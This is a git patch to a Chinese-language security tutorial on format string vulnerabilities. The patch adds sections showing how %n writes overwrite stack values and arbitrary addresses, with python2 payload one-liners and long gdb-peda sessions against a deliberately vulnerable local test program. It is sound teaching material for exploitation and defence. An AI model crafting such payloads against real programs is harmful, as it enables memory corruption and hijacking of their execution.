From 70fe3201a53c2e055e8a03589883ba313995d07b Mon Sep 17 00:00:00 2001 From: firmianay Date: Mon, 11 Sep 2017 23:55:15 +0800 Subject: [PATCH] update --- doc/3.3.1_format_string.md | 495 ++++++++++++++++++++++++++++++------- 1 file changed, 406 insertions(+), 89 deletions(-) diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index 07b04e7..f195e70 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -2,8 +2,8 @@ - [格式化输出函数和格式字符串](#格式化输出函数和格式字符串) - [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理) -- [格式化字符串漏洞](#格式化字符串漏洞) -- [x86-64 中的格式化字符串漏洞](#x8664-中的格式化字符串漏洞) +- [格式化字符串漏洞利用](#格式化字符串漏洞利用) +- [x86-64 中的格式化字符串漏洞](#x86-64-中的格式化字符串漏洞) - [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞) - [扩展阅读](#扩展阅读) @@ -272,7 +272,7 @@ Hello 32 f7f95580 565555f4 ! - `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。 -## 格式化字符串漏洞 +## 格式化字符串漏洞利用 通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。 @@ -312,12 +312,12 @@ $ gcc -m32 -fno-stack-protector -no-pie fmt.c gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") -EBX: 0x56557000 --> 0x1efc -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd618 --> 0x0 +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -332,15 +332,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") -arg[1]: 0x1 -arg[2]: 0x88888888 -arg[3]: 0xffffffff +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") -0004| 0xffffd554 --> 0x1 -0008| 0xffffd558 --> 0x88888888 -0012| 0xffffd55c --> 0xffffffff +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") @@ -363,12 +363,12 @@ Continuing. gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%p.%p.%p.%p.%p") -EBX: 0x56557000 --> 0x1efc -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd618 --> 0x0 +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -383,15 +383,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p") -arg[1]: 0x1 -arg[2]: 0x88888888 -arg[3]: 0xffffffff +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p") -0004| 0xffffd554 --> 0x1 -0008| 0xffffd558 --> 0x88888888 -0012| 0xffffd55c --> 0xffffffff +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") @@ -415,12 +415,12 @@ Continuing. gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") -EBX: 0x56557000 --> 0x1efc -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd618 --> 0x0 +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -435,15 +435,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") -arg[1]: 0x1 -arg[2]: 0x88888888 -arg[3]: 0xffffffff +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") -0004| 0xffffd554 --> 0x1 -0008| 0xffffd558 --> 0x88888888 -0012| 0xffffd55c --> 0xffffffff +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") @@ -469,12 +469,12 @@ ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220 gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%4$s") -EBX: 0x56557000 --> 0x1efc -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd618 --> 0x0 +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("%4$s") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -489,15 +489,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("%4$s") -arg[1]: 0x1 -arg[2]: 0x88888888 -arg[3]: 0xffffffff +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("%4$s") -0004| 0xffffd554 --> 0x1 -0008| 0xffffd558 --> 0x88888888 -0012| 0xffffd55c --> 0xffffffff +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("%4$s") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") @@ -512,18 +512,18 @@ ABCD 上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。 ``` -gdb-peda$ python print("AAAA"+".%p"*20) +gdb-peda$ python print("AAAA"+".%p"*20) AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p ... gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") -EBX: 0x56557000 --> 0x1efc -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd618 --> 0x0 +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -538,15 +538,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") -arg[1]: 0x1 -arg[2]: 0x88888888 -arg[3]: 0xffffffff +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") -0004| 0xffffd554 --> 0x1 -0008| 0xffffd558 --> 0x88888888 -0012| 0xffffd55c --> 0xffffffff +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") @@ -579,19 +579,19 @@ AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7f `0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`: ``` $ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text -$ gdb -q a.out +$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text [----------------------------------registers-----------------------------------] EAX: 0xffffd584 --> 0xffffd57a ("ABCD") -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd618 --> 0x0 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 ESP: 0xffffd54c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -608,9 +608,9 @@ No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd54c --> 0x8048520 (: add esp,0x20) 0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD") -0008| 0xffffd554 --> 0x1 -0012| 0xffffd558 --> 0x88888888 -0016| 0xffffd55c --> 0xffffffff +0008| 0xffffd554 --> 0x1 +0012| 0xffffd558 --> 0x88888888 +0016| 0xffffd55c --> 0xffffffff 0020| 0xffffd560 --> 0xffffd57a ("ABCD") 0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD") 0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8') @@ -635,7 +635,7 @@ z���.ABCD 先看一下重定向表: ``` -$ readelf -r a.out +$ readelf -r a.out Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries: Offset Info Type Sym.Value Sym. Name @@ -652,11 +652,11 @@ Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries: ``` $ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out .0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025 -$ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out +$ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out .0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e $ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out .0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e -$ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out +$ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out ▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e ``` 细心一点你就会发现第一个(`printf`)的结果有问题。我们输入了 `\x0c\xa0\x04\x08`(`0x0804a00c`),可是 13 号位置输出的结果却是 `0x2e0804a0`,那么,`\x0c` 哪去了,查了一下 ASCII 表: @@ -667,21 +667,20 @@ Oct Dec Hex Char ``` 于是就被省略了,同样会被省略的还有很多,如 `\x07`('\a')、`\x08`('\b')、`\x20`(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(`__isoc99_scanf`)。 ``` -gdb-peda$ q -[firmy@firmy-pc RE4B]$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text -[firmy@firmy-pc RE4B]$ gdb -q a.out +$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text +$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text [----------------------------------registers-----------------------------------] EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) -EBX: 0x804a000 --> 0x8049f14 --> 0x1 -ECX: 0x1 -EDX: 0xf7f9883c --> 0x0 -ESI: 0xf7f96e68 --> 0x1bad90 -EDI: 0x0 -EBP: 0xffffd618 --> 0x0 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 ESP: 0xffffd54c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) @@ -698,9 +697,9 @@ No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd54c --> 0x8048520 (: add esp,0x20) 0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) -0008| 0xffffd554 --> 0x1 -0012| 0xffffd558 --> 0x88888888 -0016| 0xffffd55c --> 0xffffffff +0008| 0xffffd554 --> 0x1 +0012| 0xffffd558 --> 0x88888888 +0016| 0xffffd55c --> 0xffffffff 0020| 0xffffd560 --> 0xffffd57a ("ABCD") 0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) 0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8') @@ -722,9 +721,327 @@ Continuing. ``` 虽然我们可以通过 `x/w` 指令得到 `__isoc99_scanf` 函数的虚拟地址 `0xf7e3a790`。但是由于 `0x804a018` 处的内容是仍然一个指针,使用 `%13$s` 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。 +当然并非总能通过使用 4 字节的跳转(如 `AAAA`)来步进参数指针去引用格式字符串的起始部分,有时,需要在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的 4 字节跳转。 + #### 覆盖栈内容 +现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。`%n` 转换指示符将 `%n` 当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。 +```c +#include +void main() { + int i; + char str[] = "hello"; + + printf("%s %n\n", str, &i); + printf("%d\n", i); +} +``` +``` +$ ./a.out +hello +6 +``` +`i` 被赋值为 6,因为在遇到转换指示符之前一共写入了 6 个字符(`hello` 加上一个空格)。在没有长度修饰符时,默认写入一个 `int` 类型的值。 + +通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(`0` 补齐时在宽度前加点`.` 或 `0`)。如: +```c +#include +void main() { + int i; + + printf("%10u%n\n", 1, &i); + printf("%d\n", i); + printf("%.50u%n\n", 1, &i); + printf("%d\n", i); + printf("%0100u%n\n", 1, &i); + printf("%d\n", i); +} +``` +``` +$ ./a.out + 1 +10 +00000000000000000000000000000000000000000000000001 +50 +0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001 +100 +``` +就是这样,下面我们把地址 `0x8048000` 写入内存: +``` +printf("%0134512640d%n\n", 1, &i); +``` +``` +$ ./a.out +... +0x8048000 +``` + +还是我们一开始的程序,我们尝试将 `arg2` 的值更改为任意值(比如 `0x00000020`,十进制 32),在 gdb 中可以看到得到 `arg2` 的地址 `0xffffd538`,那么我们构造格式字符串 `\x38\xd5\xff\xff%08x%08x%012d%13$n`,其中 `\x38\xd5\xff\xff` 表示 `arg2` 的地址,占 4 字节,`%08x%08x` 表示两个 8 字符宽的十六进制数,占 16 字节,`%012d` 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 `arg2` 赋值为 `0x00000020`。格式字符串最后一部分 `%13$n` 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 `0xffffd538` 的地方(`0xffffd564`),`printf()` 就是通过这个地址找到被覆盖的内容的: +``` +$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text +$ gdb -q a.out +Reading symbols from a.out...(no debugging symbols found)...done. +gdb-peda$ b printf +Breakpoint 1 at 0x8048350 +gdb-peda$ r < text +[----------------------------------registers-----------------------------------] +EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 +ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) +EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0xf7e27c1b : ret + 0xf7e27c1c: xchg ax,ax + 0xf7e27c1e: xchg ax,ax +=> 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> + 0xf7e27c25 : add eax,0x16f243 + 0xf7e27c2a : sub esp,0xc + 0xf7e27c2d : mov eax,DWORD PTR [eax+0x124] + 0xf7e27c33 : lea edx,[esp+0x14] +No argument +[------------------------------------stack-------------------------------------] +0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) +0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff +0020| 0xffffd540 --> 0xffffd55a ("ABCD") +0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 +0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value + +Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 +gdb-peda$ x/20x $esp +0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888 +0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc +0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0 +0xffffd55c: 0x00004443 0x00000000 0xffffd538 0x78383025 +0xffffd56c: 0x78383025 0x32313025 0x33312564 0x00006e24 +gdb-peda$ finish +Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 +[----------------------------------registers-----------------------------------] +EAX: 0x20 (' ') +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x0 +EDX: 0xf7f98830 --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 +ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') +EIP: 0x8048520 (: add esp,0x20) +EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x8048514 : lea eax,[ebp-0x94] + 0x804851a : push eax + 0x804851b : call 0x8048350 +=> 0x8048520 : add esp,0x20 + 0x8048523 : sub esp,0xc + 0x8048526 : push 0xa + 0x8048528 : call 0x8048370 + 0x804852d : add esp,0x10 +[------------------------------------stack-------------------------------------] +0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') +0004| 0xffffd534 --> 0x1 +0008| 0xffffd538 --> 0x20 (' ') +0012| 0xffffd53c --> 0xffffffff +0016| 0xffffd540 --> 0xffffd55a ("ABCD") +0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ') +0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8') +0028| 0xffffd54c --> 0x80484b0 (: add ebx,0x1b50) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x08048520 in main () +gdb-peda$ x/20x $esp +0xffffd530: 0xffffd564 0x00000001 0x00000020 0xffffffff +0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0 +0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443 +0xffffd560: 0x00000000 0xffffd538 0x78383025 0x78383025 +0xffffd570: 0x32313025 0x33312564 0x00006e24 0xf7e70240 +``` +对比 `printf()` 函数执行前后的输出,`printf` 首先解析 `%13$n` 找到获得地址 `0xffffd564` 的值 `0xffffd538`,然后跳转到地址 `0xffffd538`,将它的值 `0x88888888` 覆盖为 `0x00000020`,就得到 `arg2=0x00000020`。 #### 覆盖任意地址内存 +也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 `"AA%15$nA"+"\x38\xd5\xff\xff"`,开头的 `AA` 占两个字节,即将地址赋值为 `2`,中间是 `%15$n` 占 5 个字节,这里不是 `%13$n`,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 `A` 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 `\x38\xd5\xff\xff`,详细输出如下: +``` +$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text +$ gdb -q a.out +Reading symbols from a.out...(no debugging symbols found)...done. +gdb-peda$ b printf +Breakpoint 1 at 0x8048350 +gdb-peda$ r < text +[----------------------------------registers-----------------------------------] +EAX: 0xffffd564 ("AA%15$nA8\325\377\377") +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 +ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) +EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0xf7e27c1b : ret + 0xf7e27c1c: xchg ax,ax + 0xf7e27c1e: xchg ax,ax +=> 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> + 0xf7e27c25 : add eax,0x16f243 + 0xf7e27c2a : sub esp,0xc + 0xf7e27c2d : mov eax,DWORD PTR [eax+0x124] + 0xf7e27c33 : lea edx,[esp+0x14] +No argument +[------------------------------------stack-------------------------------------] +0000| 0xffffd52c --> 0x8048520 (: add esp,0x20) +0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") +0008| 0xffffd534 --> 0x1 +0012| 0xffffd538 --> 0x88888888 +0016| 0xffffd53c --> 0xffffffff +0020| 0xffffd540 --> 0xffffd55a ("ABCD") +0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377") +0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value + +Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 +gdb-peda$ x/20x $esp +0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888 +0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc +0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0 +0xffffd55c: 0x00004443 0x00000000 0x31254141 0x416e2435 +0xffffd56c: 0xffffd538 0xffffd500 0x00000001 0x000000c2 +gdb-peda$ finish +Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 +[----------------------------------registers-----------------------------------] +EAX: 0x7 +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x0 +EDX: 0xf7f98830 --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd5f8 --> 0x0 +ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") +EIP: 0x8048520 (: add esp,0x20) +EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x8048514 : lea eax,[ebp-0x94] + 0x804851a : push eax + 0x804851b : call 0x8048350 +=> 0x8048520 : add esp,0x20 + 0x8048523 : sub esp,0xc + 0x8048526 : push 0xa + 0x8048528 : call 0x8048370 + 0x804852d : add esp,0x10 +[------------------------------------stack-------------------------------------] +0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377") +0004| 0xffffd534 --> 0x1 +0008| 0xffffd538 --> 0x2 +0012| 0xffffd53c --> 0xffffffff +0016| 0xffffd540 --> 0xffffd55a ("ABCD") +0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377") +0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8') +0028| 0xffffd54c --> 0x80484b0 (: add ebx,0x1b50) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x08048520 in main () +gdb-peda$ x/20x $esp +0xffffd530: 0xffffd564 0x00000001 0x00000002 0xffffffff +0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0 +0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443 